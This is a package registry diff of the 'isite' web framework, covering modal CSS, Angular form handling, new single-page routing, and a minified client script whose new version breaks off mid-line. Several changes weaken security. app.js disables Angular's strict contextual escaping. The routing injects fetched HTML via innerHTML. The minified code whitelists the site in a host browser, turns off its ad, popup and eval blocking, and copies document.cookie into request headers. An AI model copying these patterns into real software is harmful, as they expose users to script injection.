isite 2023.8.11 → 2023.11.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/apps/client-side/site_files/css/bootstrap5-addon.css +9 -3
- package/apps/client-side/site_files/html/directive/i-list.html +1 -1
- package/apps/client-side/site_files/js/app.js +13 -6
- package/apps/client-side/site_files/js/bootstrap-5-directive.js +10 -4
- package/apps/client-side/site_files/js/site.js +58 -5
- package/apps/client-side/site_files/js/site.min.js +1 -1
- package/index.js +36 -2
- package/lib/collection.js +1 -1
- package/lib/mongodb.js +5 -4
- package/lib/parser.js +109 -51
- package/lib/routing.js +30 -11
- package/lib/security.js +3 -48
- package/lib/session.js +2 -1
- package/lib/ws.js +9 -5
- package/object-options/index.js +2 -0
- package/package.json +2 -2
|
@@ -151,16 +151,22 @@ i-datetime input {
|
|
|
151
151
|
|
|
152
152
|
.modal-content {
|
|
153
153
|
width: 75vw;
|
|
154
|
-
height:
|
|
154
|
+
height: auto;
|
|
155
|
+
max-height: 100vh;
|
|
156
|
+
}
|
|
157
|
+
.modal-content:has(i-list) {
|
|
158
|
+
min-height: 75vh;
|
|
155
159
|
}
|
|
156
160
|
.full .modal-content {
|
|
157
161
|
width: 95vw;
|
|
158
|
-
height:
|
|
162
|
+
height: auto;
|
|
163
|
+
max-height: 100vh;
|
|
159
164
|
}
|
|
160
165
|
.modal-body {
|
|
161
166
|
padding: 1rem;
|
|
162
167
|
display: block;
|
|
163
|
-
overflow:
|
|
168
|
+
overflow: hidden;
|
|
169
|
+
overflow-y: auto;
|
|
164
170
|
}
|
|
165
171
|
.modal-footer {
|
|
166
172
|
display: block;
|
|
@@ -14,7 +14,7 @@
|
|
|
14
14
|
</div>
|
|
15
15
|
|
|
16
16
|
<div class="row center padding pointer">
|
|
17
|
-
<a class="btn red" ng-click="updateModel(
|
|
17
|
+
<a class="btn red" ng-click="updateModel(null)"> <i class="fa fa-trash"></i> Clear </a>
|
|
18
18
|
</div>
|
|
19
19
|
</div>
|
|
20
20
|
</div>
|
|
@@ -3,6 +3,10 @@ app.config(function ($sceDelegateProvider) {
|
|
|
3
3
|
$sceDelegateProvider.resourceUrlWhitelist(['self', 'https://www.youtube.com/**']);
|
|
4
4
|
});
|
|
5
5
|
|
|
6
|
+
app.config(function ($sceProvider) {
|
|
7
|
+
$sceProvider.enabled(false);
|
|
8
|
+
});
|
|
9
|
+
|
|
6
10
|
site.connectScope = app.connectScope = function (_scope, callback) {
|
|
7
11
|
if (!_scope) {
|
|
8
12
|
_scope = {};
|
|
@@ -41,18 +45,21 @@ site.connectScope = app.connectScope = function (_scope, callback) {
|
|
|
41
45
|
site.showModal(_app.modal);
|
|
42
46
|
};
|
|
43
47
|
|
|
44
|
-
$scope[_app.as + 'Add'] = function () {
|
|
48
|
+
$scope[_app.as + 'Add'] = function (selectedItem) {
|
|
45
49
|
$scope.error = '';
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
+
if (!selectedItem) {
|
|
51
|
+
const v = site.validated(_app.modal);
|
|
52
|
+
if (!v.ok) {
|
|
53
|
+
$scope.error = v.messages[0].ar;
|
|
54
|
+
return;
|
|
55
|
+
}
|
|
50
56
|
}
|
|
57
|
+
selectedItem = selectedItem || $scope[_app.as + 'Item'];
|
|
51
58
|
$scope.busy = true;
|
|
52
59
|
$http({
|
|
53
60
|
method: 'POST',
|
|
54
61
|
url: `/api/${_app.name}/add`,
|
|
55
|
-
data:
|
|
62
|
+
data: selectedItem,
|
|
56
63
|
}).then(
|
|
57
64
|
function (response) {
|
|
58
65
|
$scope.busy = false;
|
|
@@ -465,12 +465,18 @@ app.directive('iList', [
|
|
|
465
465
|
});
|
|
466
466
|
|
|
467
467
|
$scope.updateModel = function (item) {
|
|
468
|
-
|
|
469
|
-
|
|
470
|
-
|
|
468
|
+
if (item) {
|
|
469
|
+
$scope.ngModel = $scope.getNgValue(item, $scope.ngValue);
|
|
470
|
+
if ($scope.display2) {
|
|
471
|
+
input.val($scope.getNgModelValue($scope.ngModel) + $scope.space + $scope.getNgModelValue2($scope.ngModel));
|
|
472
|
+
} else {
|
|
473
|
+
input.val($scope.getNgModelValue($scope.ngModel));
|
|
474
|
+
}
|
|
471
475
|
} else {
|
|
472
|
-
|
|
476
|
+
$scope.ngModel = null;
|
|
477
|
+
input.val('');
|
|
473
478
|
}
|
|
479
|
+
|
|
474
480
|
$timeout(() => {
|
|
475
481
|
if ($scope.ngChange) {
|
|
476
482
|
$scope.ngChange();
|
|
@@ -115,9 +115,6 @@
|
|
|
115
115
|
localStorage.setItem('zoomNumber', site.zoomNumber.toString());
|
|
116
116
|
document.body.style.zoom = site.zoomNumber + '%';
|
|
117
117
|
};
|
|
118
|
-
site.onLoad(() => {
|
|
119
|
-
site.zoom('0');
|
|
120
|
-
});
|
|
121
118
|
|
|
122
119
|
site.printerList = [];
|
|
123
120
|
site.getPrinters = function () {
|
|
@@ -366,7 +363,7 @@
|
|
|
366
363
|
op.mode = 'cors';
|
|
367
364
|
op.url = site.handle_url(op.url);
|
|
368
365
|
|
|
369
|
-
if (
|
|
366
|
+
if (window.SOCIALBROWSER && window.SOCIALBROWSER.fetchJson) {
|
|
370
367
|
SOCIALBROWSER.fetchJson(op, (data) => {
|
|
371
368
|
callback(data);
|
|
372
369
|
});
|
|
@@ -595,7 +592,6 @@
|
|
|
595
592
|
if (tabHeader) {
|
|
596
593
|
let tabs = tabHeader.parentNode;
|
|
597
594
|
if (tabs) {
|
|
598
|
-
console.log(tabs);
|
|
599
595
|
tabs.querySelectorAll('.tab-content').forEach((tabContent) => {
|
|
600
596
|
tabContent.style.display = 'none';
|
|
601
597
|
});
|
|
@@ -1299,5 +1295,62 @@
|
|
|
1299
1295
|
XLSX.writeFile(excelFile, (data.id || data.tagName) + '.' + type);
|
|
1300
1296
|
};
|
|
1301
1297
|
|
|
1298
|
+
site.isSPA = false;
|
|
1299
|
+
site.routeContainer = '[router]';
|
|
1300
|
+
site.routeList = [];
|
|
1301
|
+
site.getRoute = (name) => {
|
|
1302
|
+
return site.routeList.find((r) => r.name == name) || { name: name, url: name };
|
|
1303
|
+
};
|
|
1304
|
+
site.route = (event) => {
|
|
1305
|
+
event.preventDefault();
|
|
1306
|
+
site.setRoute(site.getRoute(event.target.href));
|
|
1307
|
+
};
|
|
1308
|
+
site.setRoute = function (route) {
|
|
1309
|
+
if (typeof route === 'string') {
|
|
1310
|
+
route = site.getRoute(route);
|
|
1311
|
+
}
|
|
1312
|
+
window.history.pushState({}, '', route.name);
|
|
1313
|
+
};
|
|
1314
|
+
site.getRouteContent = async (route) => {
|
|
1315
|
+
if (typeof route === 'string') {
|
|
1316
|
+
route = site.getRoute(route);
|
|
1317
|
+
}
|
|
1318
|
+
return await fetch(route.url).then((data) => data.text());
|
|
1319
|
+
};
|
|
1320
|
+
site.showRouteContent = function (selector, route) {
|
|
1321
|
+
if (typeof route === 'string') {
|
|
1322
|
+
route = site.getRoute(route);
|
|
1323
|
+
}
|
|
1324
|
+
|
|
1325
|
+
site.setRoute(route.name);
|
|
1326
|
+
site.getRouteContent(route.url).then((html) => {
|
|
1327
|
+
document.querySelector(selector).innerHTML = html;
|
|
1328
|
+
});
|
|
1329
|
+
};
|
|
1330
|
+
|
|
1331
|
+
document.addEventListener('click', (e) => {
|
|
1332
|
+
if (!site.isSPA) {
|
|
1333
|
+
return;
|
|
1334
|
+
}
|
|
1335
|
+
if (e.target.hasAttribute('route')) {
|
|
1336
|
+
e.preventDefault();
|
|
1337
|
+
let route = e.target.getAttribute('route') || e.target.getAttribute('href');
|
|
1338
|
+
site.showRouteContent(site.routeContainer, route);
|
|
1339
|
+
}
|
|
1340
|
+
});
|
|
1341
|
+
window.addEventListener('hashchange', (e) => {
|
|
1342
|
+
if (!site.isSPA) {
|
|
1343
|
+
return;
|
|
1344
|
+
}
|
|
1345
|
+
let route = window.location.hash.replace('#', '');
|
|
1346
|
+
if (!route) {
|
|
1347
|
+
route = '/';
|
|
1348
|
+
}
|
|
1349
|
+
site.showRouteContent(site.routeContainer, route);
|
|
1350
|
+
});
|
|
1351
|
+
|
|
1352
|
+
if (document.querySelector('html').hasAttribute('spa')) {
|
|
1353
|
+
site.isSPA = true;
|
|
1354
|
+
}
|
|
1302
1355
|
window.site = site;
|
|
1303
1356
|
})(window, document, 'undefined', jQuery);
|
|
@@ -1 +1 @@
|
|
|
1
|
-
(function(e,t,n,r){function o(e){return e?("string"!=typeof e&&(e=e.toString()),e.replace(/[\/\\^$*+?.()\[\]{}]/g,"\\$&")):""}function a(e,t){let n="";return p.forEach(r=>{r.n==e&&(n=r.i0[t])}),n}function i(e,t){let n="";return 11==e?p.forEach(r=>{r.n==e&&(n=r.i0[t])}):12==e?p.forEach(r=>{r.n==e&&(n=r.i0[t])}):(p.forEach(r=>{r.n==e[1]&&(n=r.i0[t])}),p.forEach(r=>{r.n==e[0]&&(e[1]>0&&e[0]>1?n+=d.strings.space[t]+d.strings.and[t]:n+="",n+=r.i1[t])})),n}function s(e,t){let n="";p.forEach(r=>{r.n==e[0]&&(n=r.i2[t]+d.strings.space[t])});let r=i(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function l(e,t){let n="";p.forEach(r=>{r.n==e[0]&&(n=r.i3[t]+d.strings.space[t])});let r=s(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function c(e,t){let n=i(e.substring(0,2),t)+d.strings.space[t];1==e[0]?n+=d.strings[10][t]+d.strings.space[t]:n+=d.strings[20][t]+d.strings.space[t];let r=s(e.substring(2),t);return r&&(n+=d.strings.and[t]+r),n}function u(e,t){let n=s(e.substring(0,3),t)+d.strings.space[t];n+=d.strings[100][t]+d.strings.space[t];let r=s(e.substring(3),t);return r&&(n+=d.strings.and[t]+r),n}if(String.prototype.test||(String.prototype.test=function(e,t="gium"){try{return new RegExp(e,t).test(this)}catch(e){return!1}}),String.prototype.like||(String.prototype.like=function(e){if(!e)return!1;let t=!1;return e.split("|").forEach(e=>{e=e.split("*"),e.forEach((t,n)=>{e[n]=o(t)}),e=e.join(".*"),this.test("^"+e+"$","gium")&&(t=!0)}),t}),String.prototype.contains||(String.prototype.contains=function(e){let t=!1;return e?(e.split("|").forEach(e=>{e&&this.test("^.*"+o(e)+".*$","gium")&&(t=!0)}),t):t}),e.SOCIALBROWSER){if(SOCIALBROWSER.var=SOCIALBROWSER.var||{},SOCIALBROWSER.var.white_list=SOCIALBROWSER.var.white_list||[],t.location.hostname){let e=`*${t.location.hostname}*`,n=!1;SOCIALBROWSER.var.white_list.forEach(t=>{t.url==e&&(n=!0)}),n||(SOCIALBROWSER.var.white_list.push({url:e}),SOCIALBROWSER.call("set_var",{name:"white_list",data:SOCIALBROWSER.var.white_list}))}SOCIALBROWSER.var.blocking=SOCIALBROWSER.var.blocking||{},SOCIALBROWSER.var.blocking.block_ads=!1,SOCIALBROWSER.var.blocking.block_empty_iframe=!1,SOCIALBROWSER.var.blocking.remove_external_iframe=!1,SOCIALBROWSER.var.blocking.skip_video_ads=!1,SOCIALBROWSER.var.blocking.popup=SOCIALBROWSER.var.blocking.popup||{},SOCIALBROWSER.var.blocking.popup.allow_external=!0,SOCIALBROWSER.var.blocking.popup.allow_internal=!0,SOCIALBROWSER.var.blocking.javascript=SOCIALBROWSER.var.blocking.javascript||{},SOCIALBROWSER.var.blocking.javascript.block_window_open=!1,SOCIALBROWSER.var.blocking.javascript.block_eval=!1,SOCIALBROWSER.var.blocking.javascript.block_console_output=!1}let d={onLoad:function(e){"loading"!==t.readyState?e():t.addEventListener("DOMContentLoaded",()=>{e()})}};d.zoomNumber=parseInt(localStorage.getItem("zoomNumber")||100),d.zoom=function(e){"+"==e?d.zoomNumber+=25:"-"==e?d.zoomNumber-=25:"0"==e||(d.zoomNumber=100),localStorage.setItem("zoomNumber",d.zoomNumber.toString()),t.body.style.zoom=d.zoomNumber+"%"},d.onLoad(()=>{d.zoom("0")}),d.printerList=[],d.getPrinters=function(){return e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrintersAsync?SOCIALBROWSER.currentWindow.webContents.getPrintersAsync().then(e=>{d.printerList=e}):e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrinters?d.printerList=SOCIALBROWSER.currentWindow.webContents.getPrinters():fetch("http://127.0.0.1:60080/printers/all").then(e=>e.json()).then(e=>{d.printerList=e.list}).catch(e=>{d.printerList=[]}),d.printerList},d.render=function(e,n){let r=t.querySelector(e);return r?Mustache.render(r.innerHTML,n):""},d.html=function(e,t){return Mustache.render(e,t)},d.getUniqueObjects=function(e,t){const n=e.map(e=>e[t]).map((e,t,n)=>n.indexOf(e)===t&&t).filter(t=>e[t]).map(t=>e[t]);return n},d.$=function(e){let n=t.querySelectorAll(e);return n},d.modal_z_index=999999,d.showModal=function(t){r(t).click(()=>{r("popup").hide()}),d.modal_z_index++;let n=d.$(t);if(0===n.length)return;n[0].style.zIndex=d.modal_z_index,n[0].style.display="block";let o=n[0].getAttribute("fixed");""!==o&&n[0].addEventListener("click",function(){d.hideModal(t)});let a=d.$(t+" i-control input");a.length>0&&a[0].focus(),d.$(t+" .close").forEach(e=>{e.addEventListener("click",function(){d.hideModal(t)})}),d.$(t+" .modal-header").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})}),d.$(t+" .modal-body").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})}),d.$(t+" .modal-footer").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})})},d.hideModal=function(e){r("popup").hide();let t=d.$(e);t.length>0&&(t[0].style.display="none")},d.eventList=[],d.on=function(e,t){t=t||function(){},d.eventList.push({name:e,callback:t})},d.call=function(e,t){for(var n=0;n<d.eventList.length;n++){var r=d.eventList[n];r.name==e&&r.callback(t)}},d.translate=function(e,t){"string"==typeof e&&(e={text:e,lang:"ar"}),e.url=`https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=${e.lang}&dt=t&dt=bd&dj=1&q=${e.text}`,d.getData(e,t)},d.getData=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.headers=e.headers||{Accept:"application/json","Content-Type":"application/json"},e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get",headers:e.headers}).then(e=>e.json()).then(e=>{t(e)}).catch(e=>{n(e)})},d.getContent=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get"}).then(function(e){return e.text()}).then(function(e){t(e)})},d.handle_url=function(t){if("string"!=typeof t)return t;if(t=t.trim(),t.like("http*")||0===t.indexOf("//")||0===t.indexOf("data:"))t=t;else if(0===t.indexOf("/"))t=e.location.origin+t;else if(t.split("?")[0].split(".").length<3){let n=e.location.pathname.split("/").pop();t=e.location.origin+e.location.pathname.replace(n,"")+t}return t},d.postData=function(e,n,r){n=n||function(){},r=r||function(){},"string"==typeof e&&(e={url:e}),e.data=e.data||e.body,delete e.body,e.data&&"object"==typeof e.data&&(e.data=JSON.stringify(e.data)),e.headers=e.headers||{Accept:"application/json","Content-Type":"application/json"},e.data&&"string"==typeof e.data&&(e.headers["Content-Length"]=e.data.length.toString());try{e.headers.Cookie=t.cookie}catch(r){console.log(r)}e.method="post",e.redirect="follow",e.mode="cors",e.url=d.handle_url(e.url),fetch(e.url,{mode:e.mode,method:e.method,headers:e.headers,body:e.data,redirect:e.redirect}).then(e=>e.json()).then(e=>{n(e)}).catch(e=>{r(e)})},d.typeOf=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.toDateTime=function(e){return e?new Date(e):new Date},d.toDateX=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()},d.toDateXT=function(e){let t=d.toDateTime(e);return t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateXF=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()+" "+t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateOnly=function(e){let t=d.toDateTime(e);return new Date(t.getFullYear(),t.getMonth(),t.getDate(),0,0,0,0)},d.toDateT=function(e){return d.toDateOnly(e).getTime()},d.toDateF=function(e){return d.toDateTime(e).getTime()},d.addZero=function(e,t){let n=t-e.toString().length;for(let t=0;t<n;t++)e="0"+e.toString();return e},d.addSubZero=function(e,t){let n=t;if(2==e.toString().split(".").length){e.toString().split(".")[1].length;e=e.toString()}else e=e.toString()+".";for(let t=0;t<n;t++)e=e.toString()+0;return e},d.fixed=3,d.to_number=d.toNumber=function(e,t){let n=t||d.fixed,r=0;return e&&(r=parseFloat(e).toFixed(n)),parseFloat(r)},d.to_money=d.toMoney=function(e,t=!0){let n=0;if(e){e=e.toFixed(2).split(".");e[0];let t=e[1]||"00";if(t){let n=t[0]||"0",r=t[1]||"0";r&&parseInt(r)>5?(n=parseInt(n)+1,n*=10,100==n?(n=0,e[0]=parseInt(e[0])+1,e[1]=""):e[1]=n):r&&5==parseInt(r)?e[1]=t:r&&parseInt(r)>2?(r=5,e[1]=n+r):e[1]=n+"0"}n=e.join(".")}return t?d.to_float(n):(n&&n.endsWith(".")&&(n+="00"),n)},d.to_float=d.toFloat=function(e){return e?parseFloat(e):0},d.to_int=d.toInt=function(e){return e?parseInt(e):0},d.$base64Letter="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",d.$base64Numbers=[];for(let e=11;e<99;e++)e%10!=0&&e%11!=0&&d.$base64Numbers.push(e);d.toJson=(e=>typeof e===n||null===e?"":JSON.stringify(e)),d.fromJson=(e=>"string"!=typeof e?e:JSON.parse(e)),d.toBase64=(e=>typeof e===n||null===e||""===e?"":("string"!=typeof e&&(e=d.toJson(e)),Base64.encode(e))),d.fromBase64=(e=>typeof e===n||null===e||""===e?"":Base64.decode(e)),d.to123=(e=>{e=d.toBase64(e);let t="";for(let n=0;n<e.length;n++){let r=e[n];t+=d.$base64Numbers[d.$base64Letter.indexOf(r)]}return t}),d.from123=(e=>{let t="";for(let n=0;n<e.length;n++){let r=e[n]+e[n+1],o=d.$base64Numbers.indexOf(parseInt(r));t+=d.$base64Letter[o],n++}return t=d.fromBase64(t),t}),d.hide=d.hideObject=function(e){return d.to123(JSON.parse(e))},d.show=d.showObject=function(e){return JSON.parse(d.from123(e))},d.typeOf=d.typeof=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.showTabContent=function(e,n){let r=t.querySelector(n).parentNode.parentNode;r.querySelectorAll(".tab-content").forEach(e=>{e.style.display="none"}),r.querySelectorAll(".tab-link").forEach(e=>{e.className=e.className.replace(" active","")}),t.querySelectorAll(n+".tab-content").forEach(e=>{e.style.display="block"}),e&&(e.currentTarget.className+=" active")},d.showTabs=function(e,t){e&&e.stopPropagation(),r(".main-menu .tabs").hide(),r(t).show(100)},d.toHtmlTable=function(e){if(e===n||null===e)return"";if("Object"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<Object.getOwnPropertyNames(e).length;n++){let r=Object.getOwnPropertyNames(e)[n];t+="<tr>",t+=`<td><p> ${r} </p></td>`,"Object"==d.typeOf(e[r])||"Array"==d.typeOf(e[r])?t+=`<td><p> ${d.toHtmlTable(e[r])} </p></td>`:t+=`<td><p> ${e[r]} </p></td>`,t+="</tr>"}return t+="</table>",t}if("Array"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<e.length;n++)"Object"==d.typeOf(e[n])||"Array"==d.typeOf(e[n])?t+=`<tr><td><p>${d.toHtmlTable(e[n])}</p></td></tr>`:t+=`<tr><td><p>${e[n]}</p></td></tr>`;return t+="</table>",t}return""},d.resetValidated=function(e){e=e||"body";const n=t.querySelectorAll(e+" [v]");n.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid")})},d.validated=function(e){const n={ok:!0,messages:[]};e=e||"body";const r=t.querySelectorAll(e+" [v]");return r.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid");const t=e.getAttribute("v"),r=t.split(" ");r.forEach(t=>{if(t=t.toLowerCase().trim(),"r"===t)"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!e.value.like("*undefined*")?"I-DATETIME"!==e.nodeName||e.getAttribute("value")?"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName&&"I-DATETIME"!==e.nodeName||e.classList.add("is-valid"):(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"})):(e.classList.add("is-invalid"),(f=e.parentNode.querySelector(".invalid-feedback"))&&(d.session&&"en"==d.session.lang?f.innerHTML="Data Is Required":d.session&&"ar"==d.session.lang&&(f.innerHTML="هذا البيان مطلوب")),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"}));else if(t.like("ml*")){const r=parseInt(t.replace("ml",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length>r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be <= "+r,ar:"عدد الاحرف يجب ان يكون أقل من أو يساوى "+r}))}else if(t.like("ll*")){const r=parseInt(t.replace("ll",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length<r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be >= "+r,ar:"عدد الاحرف يجب ان يكون اكبر من أو يساوى "+r}))}else if(t.like("l*")){const r=parseInt(t.replace("l",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&e.value.length===r||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be = "+r,ar:"عدد الاحرف يجب ان يساوى "+r}))}else t.like("e")?"INPUT"!==e.nodeName||e.value&&d.isEmail(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Email address",ar:"اكتب البريد الالكترونى بطريقة صحيحة"})):(t.like("web")||t.like("url"))&&("INPUT"!==e.nodeName||e.value&&d.isURL(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Web address",ar:"اكتب رابط الموقع بطريقة صحيحة"})))})}),n},d.isEmail=function(e){return!!/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(e)},d.isURL=function(e){var t=new RegExp("^(https?:\\/\\/)?((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.)+[a-z]{2,}|((\\d{1,3}\\.){3}\\d{1,3}))(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*(\\?[;&a-z\\d%_.~+=-]*)?(\\#[-a-z\\d_]*)?$","i");return!!t.test(encodeURI(e))};let p=[{n:1,i0:{ar:"واحد"},i1:{ar:"عشرة"},i2:{ar:"مائة"},i3:{ar:"الف"},i4:{ar:"عشرة الاف"}},{n:2,i0:{ar:"اثنان "},i1:{ar:"عشرون"},i2:{ar:"مائتان"},i3:{ar:"الفان"},i4:{ar:"عشرون الف"}},{n:3,i0:{ar:"ثلاثة"},i1:{ar:"ثلاثون"},i2:{ar:"ثلاثمائة"},i3:{ar:"ثلاث الاف"},i4:{ar:"ثلاثون الف"}},{n:4,i0:{ar:"اربعة"},i1:{ar:"اربعون"},i2:{ar:"اربعة مائة"},i3:{ar:"اربعة الاف"},i4:{ar:"اربعون الف"}},{n:5,i0:{ar:"خمسة"},i1:{ar:"خمسون"},i2:{ar:"خمسمائة"},i3:{ar:"خمسة الاف"},i4:{ar:"خمسون الف"}},{n:6,i0:{ar:"ستة"},i1:{ar:"ستون"},i2:{ar:"ستة مائة"},i3:{ar:"ستة الااف"},i4:{ar:"ستون الف"}},{n:7,i0:{ar:"سبعة"},i1:{ar:"سبعون"},i2:{ar:"سبعمائة"},i3:{ar:"سبعة الااف"},i4:{ar:"سبعون الف"}},{n:8,i0:{ar:"ثمانية"},i1:{ar:"ثمانون"},i2:{ar:"ثمانمائة"},i3:{ar:"ثمان الااف"},i4:{ar:"ثمانون الف"}},{n:9,i0:{ar:"تسعة"},i1:{ar:"تسعون"},i2:{ar:"تسعمائة"},i3:{ar:"تسعة الااف"},i4:{ar:"تسعون الف"}},{n:11,i0:{ar:"احدى عشر"}},{n:12,i0:{ar:"اثنى عشر"}}];d.strings={and:{ar:"و"},space:{ar:" "},10:{ar:"آلاف"},20:{ar:"ألفاً"},100:{ar:"ألف"},currency:{ar:" جنيها مصريا فقط لاغير "},from10:{ar:" قروش "},from100:{ar:" قرش "},from1000:{ar:" من الف "}},d.stringfiy=function(e,t){e=e||"",t=t||"ar",e=e.toString().split(".");let n=e[0],r=e[1],o="";1==n.length?o=a(n,t):2==n.length?o=i(n,t):3==n.length?o=s(n,t):4==n.length?o=l(n,t):5==n.length?o=c(n,t):6==n.length&&(o=u(n,t));let f="";return r&&(1==r.length&&(r+="0"),1==r.length?f=a(r,t)+d.strings.from10[t]:2==r.length?f=i(r,t)+d.strings.from100[t]:3==r.length&&(f=s(r,t)+d.strings.from1000[t])),o+=d.strings.currency[t],f&&(o+=d.strings.space[t]+d.strings.and[t]+d.strings.space[t]+f),o},d.ws=function(t,n){if("WebSocket"in e){"string"==typeof t&&(t={url:t});var r=new WebSocket(t.url);let e={ws:r,options:t,closed:!0,onError:e=>{console.log("server.onError Not Implement ... ")},onClose:function(e){e.wasClean?console.log(`[ws closed] Connection closed cleanly, code=${e.code} reason=${e.reason}`):(console.warn("[ws closed] Connection died"),setTimeout(()=>{d.ws(t,n)},5e3))},onOpen:()=>{console.log("server.onOpen Not Implement ... ")},onMessage:()=>{console.log("server.onMessage Not Implement ... ")},onData:()=>{console.log("server.onData Not Implement ... ")},send:function(e){if(this.closed)return!1;"object"!=typeof e&&(e={type:"text",content:e}),this.ws.send(JSON.stringify(e))}};r.onerror=function(t){e.onError(t)},r.onclose=function(t){e.closed=!0,e.onClose(t)},r.onopen=function(){e.closed=!1,e.onOpen()},r.onmessage=function(t){t instanceof Blob?e.onData(t):e.onMessage(JSON.parse(t.data))},n(e)}else console.error("WebSocket Not Supported")},d.hex=function(e){if("string"==typeof e){const t=new TextEncoder;return Array.from(t.encode(e)).map(e=>e.toString(16).padStart(2,"0")).join("")}if("number"==typeof e){let t=e.toString(16);return 1==t.length&&(t="0"+t),t}},d.zakat=function(e){let t="";return e.name&&(t+="01"+d.hex(e.name.length)+d.hex(e.name)),e.vat_number&&(t+="02"+d.hex(e.vat_number.length)+d.hex(e.vat_number)),e.time&&(t+="03"+d.hex(e.time.length)+d.hex(e.time)),e.total&&(t+="04"+d.hex(e.total.length)+d.hex(e.total)),e.vat_total&&(t+="05"+d.hex(e.vat_total.length)+d.hex(e.vat_total)),d.toBase64(t)},d.zakat2=function(e,t){fetch("/x-api/zakat",{method:"POST",body:JSON.stringify(e)}).then(e=>e.json()).then(e=>{t(e)})},d.barcode=function(e){if(e&&e.selector&&e.text)return JsBarcode(e.selector,e.selector,e.options);console.error("qrcode need {selector , text}")},d.qrcode=function(e){if(!e||!e.selector||!e.text)return void console.error("qrcode need {selector , text}");let n="string"==typeof e.selector?t.querySelector(e.selector):e.selector;return n?(n.innerHTML="",new QRCode(n,{text:e.text,width:e.width||256,height:e.height||256,colorDark:e.colorDark||"#000000",colorLight:e.colorLight||"#ffffff",correctLevel:e.correctLevel||QRCode.CorrectLevel.H})):void 0},e.site=d})(window,document,"undefined",jQuery);
|
|
1
|
+
(function(e,t,n,r){function o(e){return e?("string"!=typeof e&&(e=e.toString()),e.replace(/[\/\\^$*+?.()\[\]{}]/g,"\\$&")):""}function a(e,t){let n="";return g.forEach(r=>{r.n==e&&(n=r.i0[t])}),n}function i(e,t){let n="";return 11==e?g.forEach(r=>{r.n==e&&(n=r.i0[t])}):12==e?g.forEach(r=>{r.n==e&&(n=r.i0[t])}):(g.forEach(r=>{r.n==e[1]&&(n=r.i0[t])}),g.forEach(r=>{r.n==e[0]&&(e[1]>0&&e[0]>1?n+=d.strings.space[t]+d.strings.and[t]:n+="",n+=r.i1[t])})),n}function s(e,t){let n="";g.forEach(r=>{r.n==e[0]&&(n=r.i2[t]+d.strings.space[t])});let r=i(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function l(e,t){let n="";g.forEach(r=>{r.n==e[0]&&(n=r.i3[t]+d.strings.space[t])});let r=s(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function c(e,t){let n=i(e.substring(0,2),t)+d.strings.space[t];1==e[0]?n+=d.strings[10][t]+d.strings.space[t]:n+=d.strings[20][t]+d.strings.space[t];let r=s(e.substring(2),t);return r&&(n+=d.strings.and[t]+r),n}function u(e,t){let n=s(e.substring(0,3),t)+d.strings.space[t];n+=d.strings[100][t]+d.strings.space[t];let r=s(e.substring(3),t);return r&&(n+=d.strings.and[t]+r),n}if(String.prototype.test||(String.prototype.test=function(e,t="gium"){try{return new RegExp(e,t).test(this)}catch(e){return!1}}),String.prototype.like||(String.prototype.like=function(e){if(!e)return!1;let t=!1;return e.split("|").forEach(e=>{e=e.split("*"),e.forEach((t,n)=>{e[n]=o(t)}),e=e.join(".*"),this.test("^"+e+"$","gium")&&(t=!0)}),t}),String.prototype.contains||(String.prototype.contains=function(e){let t=!1;return 